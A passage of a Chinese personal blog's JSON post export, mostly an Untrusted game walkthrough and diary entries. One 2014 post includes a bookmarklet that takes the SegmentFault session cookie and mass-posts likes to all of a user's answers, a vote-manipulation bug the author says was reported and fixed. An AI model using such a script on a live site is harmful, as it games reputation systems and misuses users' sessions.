map.getHeight())负责根据地图大小生成迷宫，30行到33行在出口的四个方向生成了#号阻拦我们。看着其实挺恐怖的，但是其实我们只要开辟一个新思路不移动@对象到出口而是把出口移动到对象边上就好了。\n当然没办法移动现有的这个出口了，我就尝试着再新建了一个出口在@的旁边。map.placeObject(7,6,'exit');，一次性成功！\nLevel 3 这一关#栅栏把@和出口给隔开来了，首先想到的是把生成#栅栏的代码删除掉。但是很不幸的是过关验证函数validateLeve()上清楚的写着一定要有一定数量的栅栏才行。所以我们转变思路，用栅栏把@和出口都包括进去就好了。为了方便我就直接生成在了边缘了。\nfor (y = 0; y \u0026lt;= map.getHeight(); y++) { map.placeObject(0, y, \u0026#39;block\u0026#39;); map.placeObject(map.getWidth(), y, \u0026#39;block\u0026#39;); } for (x = 0; x \u0026lt;= map.getWidth(); x++) { map.placeObject(x, 0, \u0026#39;block\u0026#39;); map.placeObject(x, map.getHeight()-1, \u0026#39;block\u0026#39;); } Level 4 这一关和上一关的感觉是一样的，应该可以抄袭上一关的代码。不过你仔细读代码的话会发现比上一关少了过关验证函数。所以我这里就取巧用了第二关的方法，用 map.placeObject(map.getWidth() - 5, map.getHeight() - 5, 'exit');在@对象旁边新建了一个出口。\nLevel 5 初看血红的图像可能还觉得兴奋，觉得直接移动过去就好了。不过仔细一看代码你就会发现不是那么回事。代码随机在地图上生成了75个看不见的mine对象，不能触碰到它，否则就Game Over。\n要越过无形的东西只要让它现行知道它的方位避开它就好了，所以我们可以用map.setSquareColor(x, y, '#000')给他们都附上一个颜色。\nLevel 6 这一关就比较高级了，有一个攻击者来守护出口，并且会跟随你的步伐靠近你并杀掉你。我的第一想法比较简单，就是建议一个横向屏障让其无法靠近我，不过为了能让自己到达出口位置，我设置了一个空的出口。\nfor(var x = 0; x \u0026lt; map.getWidth()-3; x++) { map.placeObject(x, 11, \u0026#39;block\u0026#39;) } Level 7 这一关有一个电话符号，吃了它就可以在移动过程中执行回调函数。在过关路上有不同颜色的障碍物，如果@对象颜色和障碍物的颜色不一样就不允许通过。结合以上两个消息，得到的解决办法是通过一次障碍物前用电话回调函数进行一次“变装”就好了，为了方便我直接指定了在障碍物的前一个位置进行“换装“。\nif(player.atLocation(24, 12) || player.atLocation(33,12)) player.setColor(\u0026#39;#f00\u0026#39;); if(player.atLocation(27,12) || player.atLocation(36,12)) player.setColor(\u0026#39;#ff0\u0026#39;); if(player.atLocation(30,12)) player.setColor(\u0026#39;#0f0\u0026#39;); Level 8 到这里就成功进入第二章了！这一关出现了一片一片的绿森林，不幸的是路被他们给挡住了。可供我们修改的代码也非常有限，仅仅只能修改101行的几个字符。可以看到functionList是一个函数组成的数组，看代码的意思应该是让我们给电话回调函数指定一个functionList里面设置好的函数。\n理解一下后我们就能想到利用电话回调函数执行重新生成森林的代码，这样每次@对象旁边的道路就会“开辟”出来。\nLevel 9 哈哈这关做的很漂亮，乘船过河的说。这里我们发现可以自定义对象，raft对象的transport参数提醒了我们可以通过设置这个参数让@对象穿过自己。所以我另辟蹊径，自己创建了一个可以通过的通道。\nmap.defineObject(\u0026#39;boat\u0026#39;, { \u0026#39;type\u0026#39;: \u0026#39;dynamic\u0026#39;, \u0026#39;symbol\u0026#39;: \u0026#39;▓\u0026#39;, \u0026#39;color\u0026#39;: \u0026#39;#420\u0026#39;, \u0026#39;transport\u0026#39;: true, // (prevents player from drowning in water) \u0026#39;behavior\u0026#39;: function () {} }); for (var y = 5; y \u0026lt; 15; y++) { map.placeObject(1, y, \u0026#39;boat\u0026#39;); } Level 10 这一关有各种攻击者挡住你的去路。因为可以自定义各个攻击者的行为函数，所以我这里的想法是让攻击者自动让出一个通道出来。\nmap.defineObject(\u0026#39;attackDrone\u0026#39;, { \u0026#39;type\u0026#39;: \u0026#39;dynamic\u0026#39;, \u0026#39;symbol\u0026#39;: \u0026#39;d\u0026#39;, \u0026#39;color\u0026#39;: \u0026#39;red\u0026#39;, \u0026#39;onCollision\u0026#39;: function (player) { player.killedBy(\u0026#39;an attack drone\u0026#39;); }, \u0026#39;behavior\u0026#39;: function (me) { if(me.getY() == 12) me.move(\u0026#39;left\u0026#39;) if(me.getY() == 11) me.move(\u0026#39;down\u0026#39;) } }); map.defineObject(\u0026#39;reinforcementDrone\u0026#39;, { \u0026#39;type\u0026#39;: \u0026#39;dynamic\u0026#39;, \u0026#39;symbol\u0026#39;: \u0026#39;d\u0026#39;, \u0026#39;color\u0026#39;: \u0026#39;yellow\u0026#39;, \u0026#39;onCollision\u0026#39;: function (player) { player.killedBy(\u0026#39;a reinforcement drone\u0026#39;); }, \u0026#39;behavior\u0026#39;: function (me) { me.move(\u0026#39;down\u0026#39;); } }); map.defineObject(\u0026#39;defenseDrone\u0026#39;, { \u0026#39;type\u0026#39;: \u0026#39;dynamic\u0026#39;, \u0026#39;symbol\u0026#39;: \u0026#39;d\u0026#39;, \u0026#39;color\u0026#39;: \u0026#39;green\u0026#39;, \u0026#39;onCollision\u0026#39;: function (player) { player.killedBy(\u0026#39;a defense drone\u0026#39;); }, \u0026#39;behavior\u0026#39;: function (me) { if(me.getX() == map.getWidth() - 10) return false; if(me.getY() == 12) me.move(\u0026#39;right\u0026#39;) if(me.getY() == 11) me.move(\u0026#39;down\u0026#39;) } }); Level 11 同样是控制对象的运动行为，需要良好的控制R机器人拿到K钥匙并交给@后才能顺利通关。这里比较简单，只要让R在能右的时候往右走不能右走的时候往下走就好了，然后@在门口静候机器人送钥匙过来就好啦。\nme.canMove(\u0026#39;right\u0026#39;)?me.move(\u0026#39;right\u0026#39;):me.move(\u0026#39;down\u0026#39;) Level 12 哈哈，和上关以一样，不过高级了一点增加了两个阻碍物。解法是一样的，看个人的控制情况了，我的想法比较简单，就是左边的话是能下就下不能下就右，右边就是能上就上，不能上就右。\nif(me.getX() \u0026lt; map.getWidth() / 2 || me.getX() == map.getWidth() - 2) me.canMove(\u0026#39;down\u0026#39;) ? me.move(\u0026#39;down\u0026#39;) : me.move(\u0026#39;right\u0026#39;) else me.canMove(\u0026#39;up\u0026#39;) ? me.move(\u0026#39;up\u0026#39;) : me.move(\u0026#39;right\u0026#39;) Level 13 这一关在上一关的基础上又更上一层楼，出了个迷宫般。开始我绞尽脑汁想怎么让机器人自动出来的算法，不过想来我是实在没有那个本事了。后来突发奇想，既然之前的关卡中有攻击者对象根据@对象的操作做出反应，那么我也可以通过@对象来控制机器人咯？所以我比较简单的设置了一个上下左右四个位置，只要@在这个位置上就做出对应的操作。不过作者的Github项目里面收录了各种机器人自动和人工控制的算法，比我这个好用多了，大家可以去欣赏一下：官方第13关的解决办法收录。\n这关自己的代码太dirty了就不放上来了 Level 14 这一关很简单，就是用同颜色的钥匙开同颜色的锁，然后最终拿到A并过关的意思。可以操作的地方不多，一看就是让我们设置当开绿锁的时候我们应该把哪把钥匙献上。要么是redKey要么是blueKey，greenKey自己肯定是不可能了。通过实验你会发现答案是blueKey。\nLevel 15 这一关我也想了很久，同样是过河，但是比之前那关少了一条船，最重要的是可以修改代码的地方不多。我想了一下觉得既然在行为中player被killed了那我就可以再新建一个player了，然后我填写了map.placePlayer(map.getWidth()-2,map.getHeight())这个代码后成功了，但是并不是我想的一样。大概是因为新建了Player然后直接跳到了Player的判定而跳过了Kill的操作了。\nLevel 16 这关是随机新建了25个无形的墙壁（你还不能删除这些墙壁，因为validateLeve()函数有验证），每个墙壁有一个颜色如果@对象的颜色和墙壁颜色不同的话就会被撞，相同就会通过。\n由于作者非常好像的给出了一部分代码让我们通过canvas将无形的墙壁变的有形，大大的降低了问题的难度。所以我们只要让无形的颜色变成有形的颜色，在通过墙壁之前“换装”成相应的颜色就好了。换装同样是用电话回调函数，不过因为不知道怎么获取最近的墙壁的颜色，我选择的是在墙壁的颜色（总共3个）随机，最多只要点两下就会粗来正确的颜色了。\nfunction createLaser(centerX, centerY, angleInDegrees, length, color) { var angleInRadians = angleInDegrees * Math.PI / 180; var x1 = centerX - Math.cos(angleInRadians) * length / 2; var y1 = centerY + Math.sin(angleInRadians) * length / 2; var x2 = centerX + Math.cos(angleInRadians) * length / 2; var y2 = centerY - Math.sin(angleInRadians) * length / 2; // map.createLine() creates a line with an effect when // the player moves over it, but doesn\u0026#39;t display it map.createLine([x1, y1], [x2, y2], function (player) { if (player.getColor() != color) { player.killedBy(\u0026#39;a \u0026#39; + color + \u0026#39; laser\u0026#39;); } }); // using canvas to draw the line var ctx = map.getCanvasContext(); ctx.beginPath(); ctx.strokeStyle = color; ctx.lineWidth = 5; ctx.moveTo(x1, y1); ctx.lineTo(x2, y2); ctx.stroke(); } player.setPhoneCallback(function(){ var colors = [\u0026#39;red\u0026#39;, \u0026#39;yellow\u0026#39;, \u0026#39;teal\u0026#39;]; colors.filter(function(color){ return player.getColor() != color; }); player.setColor(colors[parseInt(Math.random()*(colors.length-1))]); }) Level 17 这关大概的意思是每个紫色的出口都是传送门，但是你不知道你是传送到下一个传送门还是荆棘中。所以我们的目标是让传送到传送门的传送门给我们现实出来，这里我利用上一关刚学会的canvas做标记操作。\nif(t1.getType() == \u0026#39;teleporter\u0026#39; \u0026amp;\u0026amp; t2.getType() == \u0026#39;teleporter\u0026#39;) { var t1p = map.getCanvasCoords(t1); canvas.strokeStyle = \u0026#39;green\u0026#39;; canvas.moveTo(t1p.x, t1p.y); canvas.lineTo(t1p.x+5,t1p.y+5); canvas.stroke(); } Level 18 这一关是让我们编写一个jump()回调函数让@跳过\u0026quot;悬崖\u0026quot;抵达出口。不过我们如果真的被jump这个词给迷惑住了的话可能真的会想一会儿。我看了一下电话回调函数中执行jump()函数的条件是当@对象下面不是空，那就是立即可以执行了（初始状态下面是#号不是空）。所以我直接在悬崖上架了一座桥让@“跳”过去。\nfunction jump() { for(x = Math.floor(w/2)-5; x\u0026lt;Math.floor(w/2)+5; x++) { map.placeObject(x, Math.floor(h/2), \u0026#39;block\u0026#39;); } } Level 19 这关没怎么理解真谛，大概的意思是让红色和绿色的@碰到一块吧，反正我随便左右上下左右上下的按了一通就过去了。不过有大牛看出了前因后果，我摘抄一下：\n19 巨坑爹的一关 我居然认真的读了该主页 并且认为一个玩TCS 的副教授人搞人机交互 以及 UI 毫无不妥。毕竟高德纳不也写了LATEX嘛。。 然后看到它把Lorem 放上去还觉得很有艺术性。。 然后觉得这哥们的姓很有特色 居然叫Eval 天生搞计算机的命啊。。。 然后我就去搜了一下 没找到 paper 才意识到被蒙了。 。。。。。。 忒缺德了。 欺负老实人啊。。。。\n总之。。 这是个抓虫子 游戏 网页本质上是一个 递归组合 也就是 盒子里面套盒子 按上会走到 外面的盒子 按下 会进入里面的盒子 按左右会 走到 并列的盒子 操纵绿色符号追击红色符号 策略就是 首先走到根盒子 然后看红色在哪个盒子 就进入哪个盒子 尽可能地 在它外面的盒子 然后 慢慢接近它 很容易就抓到了。。\nLevel 20 这一关是天降毒雨，我们必须顶着毒雨和上面的BOSS作斗争，消灭所有的BOSS之后拿到A之后才能通关。这关我想了很久，然后在我翻API的时候突然发现有map.overrideKey这个函数，可以复写一个方向键的回调函数，解决了我想了半天没办法触发的问题。然后我们只要做向上发射的子弹去消灭BOSS就好了。这里因为我们要往右上下移动，所以我选择复写了左方向键。\nmap.defineObject(\u0026#39;arrow\u0026#39;, { \u0026#39;type\u0026#39;: \u0026#39;dynamic\u0026#39;, \u0026#39;symbol\u0026#39;: \u0026#39;↑\u0026#39;, \u0026#39;color\u0026#39;: \u0026#39;green\u0026#39;, \u0026#39;interval\u0026#39;: 100, \u0026#39;projectile\u0026#39;: true, \u0026#39;behavior\u0026#39;: function (me) { me.move(\u0026#39;up\u0026#39;); } }); function shoot() { for (x = 0; x \u0026lt; map.getWidth(); x++) { map.placeObject(x,12,\u0026#39;arrow\u0026#39;); } } map.overrideKey(\u0026#39;left\u0026#39;, shoot); } Level 21 这一关是耗费我最久的一关了，什么阻碍都没有，然后你也不可以操作代码，但是就是没法过关。看代码的原因应该是map.finalLevel这个值变成True了表示最后一关，所以就没办法再下一关了。\n最后搜索了一下发现原来Menu界面下可以插件scripts文件夹，就是游戏的源码了，而且可以修改的说。进Object.js文件修改exit对象的行为判断函数，把if(!map.finalLevel){}去掉就好了。\nLevel 22 这一关是作者的谢幕，至此全部通关。\n","count":3811,"date":"2014年04月13日","featuredImage":null,"permalink":"https://imnerd.org/untrusted-clearance.html","summary":"\u003cp\u003e今天早上刷微博的时候看到 @fakefish 分享了一个\u003ca href=\"http://weibo.com/1779194137/AFsTDsLRr\"\u003e游戏微博\u003c/a\u003e，游戏的名字叫做《Untrusted》，通过修改JS代码来通关的游戏，作者把游戏代码托管在了\u003ca href=\"https://github.com/AlexNisnevich/untrusted\"\u003eGithub\u003c/a\u003e上，游戏地址在 \u003ca href=\"http://alexnisnevich.github.io/untrusted/\"\u003ehttp://alexnisnevich.github.io/untrusted/\u003c/a\u003e 。\u003c/p\u003e\n\u003ch3 id=\"level-1\"\u003eLevel 1\u003c/h3\u003e\n\u003cp\u003e这关简单，移动玩家对象@先拾取⌘然后移动到出口就好了。\u003c/p\u003e\n\u003ch3 id=\"level-2\"\u003eLevel 2\u003c/h3\u003e\n\u003cp\u003e这关看着挺吓人的，路都被#号给各种拦着了，但是其实读一下代码发现也就那么回事。13行的\u003ccode\u003enew ROT.Map.DividedMaze(map.getWidth(), map.getHeight())\u003c/code\u003e负责根据地图大小生成迷宫，30行到33行在出口的四个方向生成了#号阻拦我们。看着其实挺恐怖的，但是其实我们只要开辟一个新思路不移动@对象到出口而是把出口移动到对象边上就好了。\u003c/p\u003e","time":8,"title":"Untrusted 通关攻略!"},{"comments":{"data":[9],"errmsg":"","errno":0},"contents":"啊，开篇第一句又是不得不吐槽的更新速率。自出年底回光返照之后，一切似乎又回到了从前，程序也懒得更新了，在这里我只能用“呵呵”二字回答你们了。\n忽然想起来开学收到过@Jclyn 的明信片，背景是花，给人清新淡雅的感觉。不过某人的字果断是值得吐槽的，虽然某人让我千万不要浪费力气来做这事了，呵呵。\n话说六级今天又开始报名了，这回果断立马就报了，在也不会重蹈上次的二逼错误啦。以及前两天老萨说有一个修改WP模板的活儿，只要改下首页问我干不干。老萨这人之前在QQ上问了我很多javascript的问题，不算太熟也还谈得来就是。而且我看那给的钱挺心动的，就应承下来了。没想到钱这东西果断不是好赚的，两天两夜忍受着客户近似于无理取闹的需求变更之后，总算是不辱使命给搞得让客户同意了，内牛满面。总结起来就是这钱赚的真爽以及跟人打交道果然是很麻烦呢。以上！\n","count":367,"date":"2014年03月08日","featuredImage":null,"permalink":"https://imnerd.org/ni-shi-hou-zi-qing-lai-de-dou-bi-me.html","summary":"\u003cp\u003e啊，开篇第一句又是不得不吐槽的更新速率。自出年底回光返照之后，一切似乎又回到了从前，程序也懒得更新了，在这里我只能用“呵呵”二字回答你们了。\u003c/p\u003e\n\u003cp\u003e忽然想起来开学收到过\u003ca href=\"http://phenoland.com\"\u003e@Jclyn\u003c/a\u003e 的明信片，背景是花，给人清新淡雅的感觉。不过某人的字果断是值得吐槽的，虽然某人让我千万不要浪费力气来做这事了，呵呵。\u003c/p\u003e","time":1,"title":"你是猴子请来的逗比么"},{"comments":{"data":[83],"errmsg":"","errno":0},"contents":"唔，前两天有人求WordPress主题，交流一番之后知道了WordPress居然又发新的默认主题了！之前那款TwentyTwelve也很是不错的说，看了下新发的TwentyFourteen，我也很是喜欢，果断就开始了扒皮行动。话说我也是现在才知道WordPress的默认主题对应着年份的，这么后知后觉真心好忧桑。至于TwentyThirteen那款默认主题由于个人不喜欢甚至觉得有些难看而自动过滤掉了。\n在跟各种神奇的WordPress语法大干一场后，抄袭移植就基本完成了。秉承着尽量忠于原主题的原则（说的好像自己扒皮多有原则似的，→_→）,主题的资源文件当然是毫不犹豫的是从原主题拷贝过来的啦。发现WordPress现在真是各种高度集成，乱七八糟什么样的函数都有，通过函数能做大部分的事情。同时今天看到一句话“Typecho就是早期整合度不高的WordPress”，对此也深表同意。原来做WordPress主题跟Typecho一样，也就是header index footer sidebar post page comments functions几个文件而已。现在的WordPress主题动不动就是十几个模板文件，各种嵌套引用，头都大了。以及觉得Typecho果然还是有不足的地方啊，好几个需求都没办法直接实现，有些甚至没法实现，只能各种“黑魔法”。\n虽然花了我一些时间去移植，但是不保证完全没有问题啦，有问题的同学请留言提出来，我会尽我所能解决的。最后放上页面预览和下载地址：\n更新:\r本主题更新至1.1版修复了WP官方的定宽（最大只能显示1260px）的问题，以及搜索页面的一些排版问题。\n下载地址：BOX | 百度云（提取码：hvkx）\n","count":682,"date":"2014年02月27日","featuredImage":null,"permalink":"https://imnerd.org/twentyfourteen-for-typecho.html","summary":"\u003cp\u003e唔，前两天有人求WordPress主题，交流一番之后知道了WordPress居然又发新的默认主题了！之前那款TwentyTwelve也很是不错的说，看了下新发的TwentyFourteen，我也很是喜欢，果断就开始了扒皮行动。话说我也是现在才知道WordPress的默认主题对应着年份的，这么后知后觉真心好忧桑。至于TwentyThirteen那款默认主题由于个人不喜欢\u003cdel\u003e甚至觉得有些难看\u003c/del\u003e而自动过滤掉了。\u003c/p\u003e","time":2,"title":"移植主题TwentyFourteen"},{"comments":{"data":[3],"errmsg":"","errno":0},"contents":"前天的火车终于在昨天中午回到了学校，带来的小鸡腿没一会儿就被我散光了，似乎我自己没吃到几个，囧！草草的收拾了一下就迎来了晚上的“痛苦时光”。\n之前汉堡大大有吐槽说好不容易写出来的答案被埋没了的事，当时随口说了一声汉堡大大的回答必须每个都要赞。今天想起这个事来了就稍微研究了一下赞这个过程的请求头。发现只需要sfsess, id, do, cancle四个参数。sfsess即登陆后的session id，通过cookies可以拿到，id即回答的id，do是动作，有like, hate, delete, update等值，cancle则是表明是点赞还是取消赞。\njavascript:(function(u) {d = {do:'like',cancle:0};d['sfsess'] = document.cookie.split('sfsess=')[1];l=$('.pagenav a').slice(-2,-1).text();(function like(i) {if(i\u0026gt;l) return false;$.get('http://segmentfault.com/u/'+u+'/answers?page='+i,function(data) {$('article', data).each(function(k,a){d['id'] = a.getAttribute('id').substr(2);$.post('http://segmentfault.com/api/answer', d, function(r){console.log(r)});});like(++i);});})(1);})('lizheming');\n代码同时发表在segmentfault blog内：《论点赞狂魔的究极素养》\n首先我当然是拿汉堡大大做的测试了，然后汉堡大大瞬间就获得了57条消息通知以及+939的声望。\n在我发表文章之后扣肉也加入了刷分行列，不过他手贱的把do参数修改成了hate，o(╯□╰)o，然后我就收到了200+个踩。。。我操了！\n在我的强烈抗议下他修改了参数全部赞回来了。然后我就发现。。。。\n我了个去，感觉有什么不得了的事情要发生了好么！刷分什么的真的不是我的本意啊！我真的只是想批量赞一下的啊！果然召唤了SF内部人士出来把BUG报了一下。没过一会儿70大大“分分钟就解决了”，要不然我怎么敢这么赤果果的把代码贴出来，→_→..\n随后70大大声明了一系列的奖惩措施神马的，说要把刷出来的分取消掉。但是目前我的分好像还在..嘛，即使取消掉也无所谓了，反正我是真的只是想测试一下代码而已。最后上张截图纪念一下我最牛逼的时候吧，啊哈哈哈！（连女神都超过去了我是真的没有想到啊喂喂！）\n","count":697,"date":"2014年02月20日","featuredImage":null,"permalink":"https://imnerd.org/lun-zan-yin-fa-de-xue-an.html","summary":"\u003cp\u003e前天的火车终于在昨天中午回到了学校，带来的小鸡腿没一会儿就被我散光了，似乎我自己没吃到几个，囧！草草的收拾了一下就迎来了晚上的“痛苦时光”。\u003c/p\u003e\n\u003cp\u003e之前汉堡大大有吐槽说好不容易写出来的答案被埋没了的事，当时随口说了一声汉堡大大的回答必须每个都要赞。今天想起这个事来了就稍微研究了一下赞这个过程的请求头。发现只需要sfsess, id, do, cancle四个参数。sfsess即登陆后的session id，通过cookies可以拿到，id即回答的id，do是动作，有like, hate, delete, update等值，cancle则是表明是点赞还是取消赞。\u003c/p\u003e","time":2,"title":"论“赞”引发的血案"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":"首先恭祝一下大家元宵节快乐啦，然后就是今日吐槽了。自从回来之后一直处于断更状态，虽然更新过一篇（还不是在这个博客上更的）了胜于无，但是之前说过的“经常更新”什么的已经完全忘在脑后了，啊哈哈哈哈！节内也一直处于死相状态，没看书，没码字，没码代码，想想没两天（真的是没两天啊！）要回学校了，回去又要被老师各种吐槽了，瞬间感觉我这是在作死啊，说好的动力呢，我们还能不能好好学习了！\n今年元宵节和Valentine\\\u0026rsquo;s Day是在一块的诶，感觉好像每次元宵和情人节都差不多。去年的这个时候我好像就在路上，晚上坐地铁回学校的路上看到地铁内核马路上各种女孩子拿着鲜花什么的，瞬间好心疼那些花啊%\u0026gt;\\_\u0026lt;%。\n前两天县里头举行游街活动（其实是非遗展览啦→_→），好不热闹。所有的队排好方阵绕着街道走，街道两边都围满了人（甚至是两边的房屋上都是人）。看着各种热闹让我觉得这跟国外的游街也没有什么不同嘛。下午他们在某实验中学排练的时候在学校逛了一圈拍了几张照片，可惜没雪，要是有点雪就再好不过了。\n","count":449,"date":"2014年02月15日","featuredImage":null,"permalink":"https://imnerd.org/shuang-jie-gun.html","summary":"\u003cp\u003e首先恭祝一下大家元宵节快乐啦，然后就是今日吐槽了。自从回来之后一直处于断更状态，虽然更新过一篇（还不是在这个博客上更的）了胜于无，但是之前说过的“经常更新”什么的已经完全忘在脑后了，啊哈哈哈哈！节内也一直处于死相状态，没看书，没码字，没码代码，想想没两天（真的是没两天啊！）要回学校了，回去又要被老师各种吐槽了，瞬间感觉我这是在作死啊，说好的动力呢，我们还能不能好好学习了！\u003c/p\u003e\n\u003cp\u003e今年元宵节和Valentine\\\u0026rsquo;s Day是在一块的诶，感觉好像每次元宵和情人节都差不多。去年的这个时候我好像就在路上，晚上坐地铁回学校的路上看到地铁内核马路上各种女孩子拿着鲜花什么的，瞬间好心疼那些花啊%\u0026gt;\\_\u0026lt;%。\u003c/p\u003e\n\u003cp\u003e前两天县里头举行游街活动（其实是非遗展览啦→_→），好不热闹。所有的队排好方阵绕着街道走，街道两边都围满了人（甚至是两边的房屋上都是人）。看着各种热闹让我觉得这跟国外的游街也没有什么不同嘛。下午他们在某实验中学排练的时候在学校逛了一圈拍了几张照片，可惜没雪，要是有点雪就再好不过了。\u003c/p\u003e","time":1,"title":"双节棍"},{"comments":{"data":[16],"errmsg":"","errno":0},"contents":"啊咧咧，一不小心Python年就过去了，跨入了马年了。因为母上大人今年是本命年，所以也意外的关心起来了。借着这篇最近难得的吐槽文祝各位认识的不认识的博友（网友）在新的一年里是学生的学习顺利（也不一定要进步就是了），工作了的工作顺利（千万不要像@Roamer.Gu 一样碰上一些奇葩BOSS啊），没有对象的能尽快new object，当然有对象的就要过的幸福美满了，要是能extend children就更赞了！\n不得不说母上大人做的饭菜实在是太合我的胃口了，虽然只有6个人但是意外的这么丰盛让我等表示高兴万分！拿出来的的汾酒度数不是很高，入口也非常的舒服，简直不能太赞！各种好吃啊有么有~\n今天熊孩子出没，早早的就躲到楼上去了。殊不知正当我在用iPad看着《结界师》的时候，我的电脑已经被各种熊孩子入侵了。不过好在人家装了三系统，自从装了Xbuntu之后就使用Grub做引导管理了。而且由于Windows项总是在最后的原因，意外的让熊孩子每次都进入Linux来了呢，哈哈哈！等熊孩子们走了之后我才发现我的电脑正处在xfce界面中，略微一瞎想就呵呵笑而不语了。看来防范低能熊孩子有必杀技了，yeah！\n","count":494,"date":"2014年02月03日","featuredImage":null,"permalink":"https://imnerd.org/ma-nian-da-ji.html","summary":"\u003cp\u003e啊咧咧，一不小心Python年就过去了，跨入了马年了。因为母上大人今年是本命年，所以也意外的关心起来了。借着这篇最近难得的吐槽文祝各位认识的不认识的博友（网友）在新的一年里是学生的学习顺利（也不一定要进步就是了），工作了的工作顺利（千万不要像@Roamer.Gu 一样碰上一些奇葩BOSS啊），没有对象的能尽快\u003ccode\u003enew object\u003c/code\u003e，当然有对象的就要过的幸福美满了，要是能\u003ccode\u003eextend children\u003c/code\u003e就更赞了！\u003c/p\u003e","time":1,"title":"马年大吉"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"当里个当当里个当，在学校憋了好久，忍受了好几天难以下咽的饭菜以及无法让人安寝的呼噜之后我终于果断卷起铺盖回家了。之前买票也颇为不易，十点放票的时候我都没抢到票。不过好在没死心再刷了一会儿，突然发现有一张票，果断立马就购入了。正准备出门的时候就碰上了刚回来的木哥，看了一下感觉瘦了好多诶，给我感觉就像是出去浪了一圈精尽人亡了(⊙o⊙)…\n进火车站的时候发生了点小插曲。之前老妈叮嘱我让我买个烤鸭回去的，然后我特地就跑前门去买了一只。因为本来北京烤鸭就不怎么好吃（个人觉得），真空包装的更是，只能听蒙哥推荐买了鲜鸭了。买完鸭子一看钱包里头只剩下75不到了，一想到杭州还得买个汽车票大概是80左后的样子就蛋疼了，而且农行卡正好不到100了。没办法只好从余额宝提了100，在前门地铁那块的农行ATM机旁等了30分钟之后实在是不耐烦了，想着北京站应该有农行的ATM机就直接去坐地铁了。结果上地铁没两分钟就提示我钱到了OAQ\u0026hellip; 到了北京站在不远处就能看到大大的农行几个字，但是站旁边却以为的没有农行的ATM机，坑爹啊！为了省跨行的手续费，我只能无良的继续把钱打到招行卡里面，然后用招行的卡在一个北京银行的ATM机上取到了救命的100块钱，真心小纠结了一下。然后去取票结果随手就把烤鸭放在取票台上了，去完票也没记得拿回来。等进展要检查包裹了想了半天才发现尼玛烤鸭没有拿啊！蹭蹭蹭的就以最快速度跑过去了。好在人品不错，居然还在那块OAQ。因为这会儿快到上车时间了，又以全速冲进站了\u0026hellip;\n因为是坑爹的1号铺的原因进去之前特地看了一下开头的铺，结果我的铺在最那边。本以为我这回聪明了一点，结果乘务员直接告诉我那边的门关了！好吧，还是得悲剧的提着箱子老老实实的走过去了OAQ… 到铺上发现一大叔蹭着我的铺，等我收拾好了也没有挪位子的想法，晚上还一直蹭我拖鞋什么的。个人比较反感别人随意蹭我的东西，所以对这大叔也莫名的没好感。虽然他挺健谈的，但是偶尔就透露出“公务员最好”的想法，说是女儿从小学就教育她要考公务员了，而且因为儿子不想考公务员头疼不已。让我不得不有点鄙夷，虽然我也不知道这种想法到底是不是对的，但是就是本能的讨厌。隔壁铺的同学意外的居然是地大的校友，不过人家是本科的啦，也不是我们院的，而且是大四学霸保送到北师减灾的研究生了。另外一个北邮的同届，好像是做网络的，本来想深入交流一下不过那么多人就没具体问了，而且也不好意思当着人家的面直接吐槽他们校长啊… 还有一个大二的快乐小骚年，晚上用他的电脑看了两集爱情公寓四，让我看到了那个被吐槽的“妇女之宝”了，呵呵~！\n不得不说汽车坐的是真心难受，上车没一会儿就晕头转向想吐的不行了，模模糊糊睡了一个小时之后就醒了，然后就是各种难受，额头出的汗都是冰凉的。下车的时候老妈过来接的我，呼吸了点新鲜空气之后就好多了。最后的最后，回家吃的第一餐感觉特别特别的棒啊，回味无穷！\n","count":1207,"date":"2014年01月22日","featuredImage":null,"permalink":"https://imnerd.org/wo-fei-lai-le.html","summary":"\u003cp\u003e当里个当当里个当，在学校憋了好久，忍受了好几天难以下咽的饭菜以及无法让人安寝的呼噜之后我终于果断卷起铺盖回家了。之前买票也颇为不易，十点放票的时候我都没抢到票。不过好在没死心再刷了一会儿，突然发现有一张票，果断立马就购入了。正准备出门的时候就碰上了刚回来的木哥，看了一下感觉瘦了好多诶，给我感觉就像是出去浪了一圈精尽人亡了(⊙o⊙)…\u003c/p\u003e","time":3,"title":"我肥来了"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"这两天依旧是躲在寝室，因为没怎么做脑力劳动，结果就直接导致我赖在电脑前一天只吃一顿饭了(⊙o⊙)\u0026hellip; 前天因为M 17号就要回去然后大家一块去吃了自助（然后狠狠的宰了军军这个冤大头，呵呵！）。去的地方好像叫“张老秆”，实惠的地方在于素菜只要9元/人，然后就可以任意吃了。拼命的点了各种素菜之后，我们一致得出结论，军军已经吃的整个人都绿了，哈哈！昨天想了想食堂的难吃程度，毅然决然的准备去之前觉得还不错的一家面馆吃去。结果等到了那之后发现居然换店了，惨惨惨\u0026hellip;虽然也还是开面馆，但是品种什么的明显比以前的少多了，不过味道还是以前的味道（可能是换招牌了）。今天因为不恰当的时间（3点多的样子）甘哥让我出去拿了趟快递，顺手去工作室收拾了点东西，导致我一路奔波没有了探求美食的性质，索性就直接牺牲一下自己的胃去食堂吧。今日仔细一看才发现平常我爱吃的几道菜居然都没有了，惨惨惨\u0026hellip;于是就随手凑合的点了个盖饭。后来怕晚上饿着想带个千层饼回去，结果发现也没了，惨惨惨\u0026hellip;\n花了几天的时间终于把《绝园的暴风雨》看完了。感觉实在是佩服作者的脑袋，一路上各种因果的循环打圈圈，不仔细捋一捋的话我都觉得头晕呢。前两天在校网上搜罗下载了一些动漫，这里不得不说校网的动漫资源实在是太少了。今天看了一部叫《小红帽》，引用豆瓣简介上的话就是“罗生门版的小红帽”。分别通过小红帽，奶奶，大灰狼，和伐木人的眼睛讲述他们自己的小红帽的故事。好莱坞电影中一些必要的元素（谎言，武打，警匪等，除了爱情）居然也活灵活现的在电影中粗线了，真的不得不感慨导演的思路奇特。推荐大家去看看，感觉还受益匪浅的样子的说。\n对了，记一个比较有趣的事情，昨晚睡的比较晚（确切的说是今早0_0）。然后大概在5点多的时候吧，依稀记得甘哥起来把王哥拍醒了4-5次的样子，哈哈。可能是甘哥被他的呼噜给吵醒了吧，第一次拍醒了甘哥还没回床上呢就又开始打起来了，后来甘哥拍了两次结果都没把他拍醒（´Д`）然后甘哥就怒了，又拍了两次才见消停下来，哈哈！真心把我笑惨了O(∩_∩)O\u0026hellip;\n","count":881,"date":"2014年01月18日","featuredImage":null,"permalink":"https://imnerd.org/zhao-a-zhao-a-zhao-gong-zuo.html","summary":"\u003cp\u003e这两天依旧是躲在寝室，因为没怎么做脑力劳动，结果就直接导致我赖在电脑前一天只吃一顿饭了(⊙o⊙)\u0